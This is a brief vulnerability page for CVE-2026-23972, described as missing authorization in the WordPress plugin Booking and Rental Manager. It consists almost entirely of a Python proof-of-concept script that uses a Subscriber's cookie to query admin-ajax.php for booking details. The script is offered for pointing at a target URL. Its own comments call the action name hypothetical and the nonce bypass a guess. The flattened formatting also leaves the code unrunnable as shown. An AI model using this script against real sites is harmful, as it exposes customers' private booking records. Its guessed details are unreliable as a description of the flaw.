CVE-2026-23972: Booking and Rental Manager越权漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-23972: Missing Authorization in Booking and Rental Manager import requests # Configuration target_url = "http://example.com" # Replace with target URL attacker_cookie = "wordpress_logged_in_xxx..." # Cookie for low-privileged user (Subscriber) # The vulnerable endpoint is typically an AJAX action or REST route # Specific action name requires reverse engineering the plugin ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Payload simulating an unauthorized request payload = { "action": "brm_get_booking_details", # Hypothetical action name "booking_id": "1", # Target ID to retrieve sensitive info "security": "nonexistent" # May try to bypass nonce checks } headers = { "Cookie": attacker_cookie, "User-Agent": "CVE-2026-23972-Scanner", "Accept": "application/json" } try: print(f"[+] Sending request to {ajax_url}...") response = requests.post(ajax_url, data=payload, headers=headers) if response.status_code == 200: print("[+] Request successful!") print("[+] Response data:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")